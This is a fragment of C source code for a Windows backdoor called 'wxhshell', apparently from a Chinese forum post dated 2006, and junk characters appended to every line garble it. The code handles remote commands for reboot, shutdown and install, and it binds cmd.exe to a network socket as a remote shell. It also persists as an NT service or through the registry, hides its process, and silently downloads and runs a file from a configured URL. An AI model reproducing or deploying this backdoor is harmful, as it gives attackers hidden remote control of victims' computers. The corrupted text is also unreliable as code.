    switch(cmd[0]) { k\aK?(.RC7  
  ahGT4d`)9  
  // 帮助 Ia4)uV8  
  case '?': { #fDs[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *C2R`gpBI  
    break; /X#z*GX  
  } \TbVS8e^  
  // 安装 )(TAT<  
  case 'i': { 5/@UVY9_  
    if(Install()) uQ3[Jz`y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); orfp>B) 0  
    else <Ef[c@3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-QLV[^  
    break; :Li/=>R^  
    } {vVTv SC  
  // 卸载 r:g9Z_  
  case 'r': { +ts0^;QO2{  
    if(Uninstall()) D/ Dt   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vw~\H Gs/~  
    else {' 5qv@3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m;,xmEp  
    break; 7wVH8^|  
    } ^3~e/PKM  
  // 显示 wxhshell 所在路径 ^?GmrHC)  
  case 'p': { y7lWeBnC  
    char svExeFile[MAX_PATH]; 1[PMDS_X  
    strcpy(svExeFile,"\n\r"); a`c:`v2o  
      strcat(svExeFile,ExeFile); $B .Qc!m  
        send(wsh,svExeFile,strlen(svExeFile),0); go'j/4Tp  
    break; /'wF2UR  
    } :dnJY%/q  
  // 重启 T@ YGB]*Y  
  case 'b': { h{'t5&yY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }NCL>l;q  
    if(Boot(REBOOT)) /aqEJGG>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%0z`E\?M#  
    else { bS!\#f%9"  
    closesocket(wsh); vjUp *R>h  
    ExitThread(0); ,6"l(]0  
    } 8e2?tmWM  
    break; U[\Vj_?(I  
    } z5 m>H;P  
  // 关机 wkb$^mU  
  case 'd': { N4!<Xj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {eT.SO  
    if(Boot(SHUTDOWN)) Lx[ ,Z,kD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wf26  
    else { |ys0`Vb=$  
    closesocket(wsh); NXk!qGV2  
    ExitThread(0); p,W_'?,9  
    } <48<86TP  
    break; \}"m'(\c  
    } =Lp7{09u  
  // 获取shell 3$/ 4wH^  
  case 's': { q3w1GD  
    CmdShell(wsh); +OHGn;C  
    closesocket(wsh); U1R4x!ym4  
    ExitThread(0); E6MA?Ax&=  
    break; 5.0e~zlM -  
  } el PE%'  
  // 退出 S: :>N.y  
  case 'x': { G}zZQy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \_BkY%a  
    CloseIt(wsh); Ym8}ZW-  
    break; m`A% p  
    } &#w=7L3AW  
  // 离开 E-2 eOT  
  case 'q': { Y] g?2N=E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G4-z3e,crr  
    closesocket(wsh); ,xi({{L*  
    WSACleanup(); AC- )BM';  
    exit(1); ]0j9>s2|Z  
    break; Z;DCI-Wg  
        } dJk9@u  
  } ,!QV>=  
  } ;0%OB*lcgE  
 iThSt72  
  // 提示信息 83Ou9E!W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zGo|JF  
} K\?]$dK5  
  } DBH#)4do@  
&#{dWObh  
  return; r6.d s^  
} ~/#1G.H  
PAF8W lg  
// shell模块句柄 9$*s8}|  
int CmdShell(SOCKET sock) gE7L L=x  
{ "&+3#D >  
STARTUPINFO si; 5FeFN)  
ZeroMemory(&si,sizeof(si)); =d`5f@'rl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*S." q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hGTV;eU  
PROCESS_INFORMATION ProcessInfo; Xl-e !  
char cmdline[]="cmd"; :l\V'=%9'@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :l u5Uu~  
  return 0; O6s.<` \  
} _2ef LjXQ  
$.E6S<(h  
// 自身启动模式 -G|a*^  
int StartFromService(void) P ,mN >  
{ Gu0 ,)jy\  
typedef struct # TkR  
{ 3R$Z[D-  
  DWORD ExitStatus; 'Prxocxq  
  DWORD PebBaseAddress; Ri*3ySyb  
  DWORD AffinityMask; tln37vq  
  DWORD BasePriority; 5]Ajf;W\  
  ULONG UniqueProcessId; }FqA ppr  
  ULONG InheritedFromUniqueProcessId; JK_OZ  
}   PROCESS_BASIC_INFORMATION; ))h6~1`  
dFXc/VH')  
PROCNTQSIP NtQueryInformationProcess; W7No ls{  
}:Z9Vc ZP`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N_C;&hJN$w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4_?7&G0(  
'fd1Pj9~$  
  HANDLE             hProcess; i b6^x:HGU  
  PROCESS_BASIC_INFORMATION pbi; AONDx3[   
G=9d&N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a:STQk V  
  if(NULL == hInst ) return 0; |AZW9  
z_|oCT!6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3,X/,'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Ixx<9c.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9"{W,'r&d  
j7QX ,_Q  
  if (!NtQueryInformationProcess) return 0; ?uLeFD  
uzr\oj+>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k=ytuV\  
  if(!hProcess) return 0; S::=85[>z  
\E1U@6a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,L> ar)B  
7;:#;YS ha  
  CloseHandle(hProcess); ,T,:-E  
si4-3eC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pt,ebL~  
if(hProcess==NULL) return 0; CB\{!  
>p\e 0n  
HMODULE hMod; )(M7lq.e7  
char procName[255]; &]6) LFm  
unsigned long cbNeeded; =qVP]  9  
~#K@ADYr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gk0.zz([  
6aft$A}XnD  
  CloseHandle(hProcess); L71!J0@a#  
nSx8E7 |V  
if(strstr(procName,"services")) return 1; // 以服务启动  (t^n'V  
~EiH-z4U  
  return 0; // 注册表启动 n||A" @b\  
} (?)7)5H  
\;5\9B"i  
// 主模块 }ET,ysa  
int StartWxhshell(LPSTR lpCmdLine) ,~PYt*X4  
{ ;U =q-tb  
  SOCKET wsl; $m$;v<PSe  
BOOL val=TRUE; vsB*rP=  
  int port=0; ;i uQ?MR3  
  struct sockaddr_in door; >pyj]y^3  
Njc%_&r  
  if(wscfg.ws_autoins) Install(); dhPKHrS  
XUMX*  
port=atoi(lpCmdLine); 8TV;Rtl  
ed 59B)?l  
if(port<=0) port=wscfg.ws_port; Q[n\R@  
DPgm%Xq9(!  
  WSADATA data; x+5k <Xi}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SUCU P<G  
q Dd~2"er  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Nj97 R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j1$8#/r;c  
  door.sin_family = AF_INET; >c8GW >\N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |`k .y]9  
  door.sin_port = htons(port); < E|s\u  
<Q < AwP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vYmSKS  
closesocket(wsl); -F/st  
return 1; 0Wvq>R.(]7  
} B0}~G(t(  
-XK0KYhgW  
  if(listen(wsl,2) == INVALID_SOCKET) { 5FKBv e@  
closesocket(wsl); JNI>VP[c  
return 1; ?WI3/>:<  
} x+5p1sv6  
  Wxhshell(wsl); o?Nu:&yE  
  WSACleanup(); +Lm4kA+aE5  
l U]un&[N  
return 0; rsNf$v-*  
J:dof:q  
} or*HC&c7  
=v~1qWX  
// 以NT服务方式启动 AnsjmR:Jv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _o6G6e,  
{ & -l8n^  
DWORD   status = 0; |[xi/Q^7  
  DWORD   specificError = 0xfffffff; }-p[V$:S  
gT+Bhr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =s97Z-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k8nLo.O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rZ1Hf11C  
  serviceStatus.dwWin32ExitCode     = 0; !cW[G/W8  
  serviceStatus.dwServiceSpecificExitCode = 0; k_|^kdWJ  
  serviceStatus.dwCheckPoint       = 0; W_M'.1 t  
  serviceStatus.dwWaitHint       = 0; 4DWwbO  
\t4tiCw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yqOuX>m1c  
  if (hServiceStatusHandle==0) return; b;mSQ4+  
5`[n8mU  
status = GetLastError(); -<_$m6x"A  
  if (status!=NO_ERROR) yBe d kj  
{ u`:hMFTID  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3:/'n  
    serviceStatus.dwCheckPoint       = 0; K ?$#nt p  
    serviceStatus.dwWaitHint       = 0; ,{eU P0]  
    serviceStatus.dwWin32ExitCode     = status; !/{+WHxIr|  
    serviceStatus.dwServiceSpecificExitCode = specificError; eL D?jTi'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U!5)5c}G  
    return; 2GmpCy`L"  
  } q~K(]Ya/  
T5Eseesp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X~.f7Ao[  
  serviceStatus.dwCheckPoint       = 0; hPhZUL%  
  serviceStatus.dwWaitHint       = 0; ;!@EixN-YH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7cg*|E@  
} C.  MoKa3  
m#H3:-h,  
// 处理NT服务事件,比如:启动、停止 #<7O08 :  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h #Z4pN8T3  
{ $gle8Z-  
switch(fdwControl) 'Yy&G\S  
{ #1-xw~_  
case SERVICE_CONTROL_STOP: BZK`O/  
  serviceStatus.dwWin32ExitCode = 0; :7N3N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3*S{;p  
  serviceStatus.dwCheckPoint   = 0; [p r"ZQ]  
  serviceStatus.dwWaitHint     = 0; C R<`ZNuWz  
  { >n5:1.g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XkKC!  
  } G`=r^$.3WB  
  return; 9<CG s3\  
case SERVICE_CONTROL_PAUSE: "v*8_El  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L}{`h  
  break; \Xrw"\")j  
case SERVICE_CONTROL_CONTINUE: w*j$uW6{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >ndJNinV  
  break; "R #k~R  
case SERVICE_CONTROL_INTERROGATE: woH)0v  
  break; =/Aj  
}; %T`U^ Pnr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =wu*D5  
} 5m$2Ku  
i@"e,7mSG  
// 标准应用程序主函数 <pLT'Y=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +m\|e{G  
{ }peBR80tQ  
[Bb utGvj  
// 获取操作系统版本 1MkI0OZE  
OsIsNt=GetOsVer(); XhU@W}}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T".]m7!  
Mc sTe|X  
  // 从命令行安装 -7>)i  
  if(strpbrk(lpCmdLine,"iI")) Install(); ("7M b{  
*mG`_9  
  // 下载执行文件 Z5G!ct:W  
if(wscfg.ws_downexe) { kQdt}o])  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wz8PtfZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); }$su4A@0  
} OV CR0  
3cl9wWlJ_E  
if(!OsIsNt) { 1pp -=$k  
// 如果时win9x,隐藏进程并且设置为注册表启动 g{s'GyV8t  
HideProc(); FXKF\1`( H  
StartWxhshell(lpCmdLine); "HMP$)d  
} G*[P <<je_  
else cRvvzX  
  if(StartFromService()) 2R-A@UE2  
  // 以服务方式启动 $.6K!x{(  
  StartServiceCtrlDispatcher(DispatchTable); "+"{+k5t  
else m"tOe?  
  // 普通方式启动 zQy"m-Q  
  StartWxhshell(lpCmdLine); 3ucP(Ex@tg  
CCijf]+  
return 0; ZBD;a;wx  
}
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只看该作者 1 发表于: 2006-10-10
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